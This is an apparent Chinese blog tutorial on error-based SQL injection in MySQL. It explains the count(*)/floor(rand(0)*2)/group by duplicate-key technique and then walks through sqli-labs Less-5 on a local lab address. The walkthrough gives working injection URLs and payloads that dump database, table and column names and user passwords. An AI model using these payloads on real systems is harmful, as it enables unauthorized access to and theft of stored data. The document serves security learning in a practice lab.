报错型SQL注入
-------------------------------------------------我是小小分隔符----------------------------------------------
基本原理:
报错型sql注入与SQL联合注入的前三步是一致的(上篇博客),但没有数据的回显位,也就是说即使构造语句成功我们也没有办法看到数据的显示。但是如果sql语句出现错误则可以显示在页面上,我们可以利用这点来构造报错显示sql语句。
-------------------------------------------------我是小小分隔符----------------------------------------------
下边是利用 count(*), FLOOR(RAND(0)*2,group by
报错。
1、floor()函数 #向下取整
select floor(1.123131);
2、rand()函数 #随机取0-1之间的值,可以在rand(0)中添加随机因子,影响随机值
select rand();
select rand(0); #添加随机因子,使得随机值固定下来
3、group by #分类
select table_name from information_schema.tables group by table_schema=security; #通过库名为security来分类
4、count()函数 #对xx的统计
select count(*),table_name from information_schema.tables group by table_name;
重点:::
以0或1进行分类
随机值被作为主键,主键是不能被重复的,但这里主键被重复,所有引起报错,并把重复的主键抛出,把想要看到的数据设计为要抛出的主键
#报错语句的构造
select count(*),2 from users group by floor(rand()*2); #以一个不确定的值去分组,然后统计,可能报错
#count和group by 联合使用时,会产生一个虚表,然后在虚表里面进行计数
#举个例子
#以name作为分类,先查group by,如果需表中有,则count+1;如果没有,则在虚表中添加主键
select count(*),a from users group by name
#语句:后面查有没有,前面往进插
#虚表中已经有的,就执行一次(+1)操作,如果没有,执行两次(添加name,+1) 里面没有b,就往进插(select name)
#报错语句:问题就出在中间表(虚表)这
#不确定的值作为group by的对象----主键冲突,抛出异常
-------------------------------------------------我是小小分隔符----------------------------------------------
以第五关为实例
- 判断提交方式:有页面显示可知,请求方式为get方式
- 预判数据库执行语句:select…
- 判断提交数据的闭合方式:
#测试知:闭合方式为--单引号闭合
http://192.168.168.135/sqli-labs-master/Less-5/?id=1‘ and 1=2 --+
- 构造语句:产生报错,爆出数据
1)爆数据库库名 注意:使用union需要列数一致,否则语句有错
#可使用order by 先判断列数
/?id=1' order by 3 --+ #可使用二分法快速判断
#concat()函数--相当于拼接
http://192.168.168.135/sqli-labs-master/Less-5/?id=1' union all select 1,count(*),1 from information_schema.tables group by concat(floor(rand(0)*2),0x7e,database()) --+
2)
#库名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
#表名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘security’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
# 列名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'users' and table_schema = 'security' LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
#数据
#(这个构造数据只能一个一个爆出来,通过limit函数控制)
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) (这个构造数据只能一个一个爆出来,通过limit函数控制)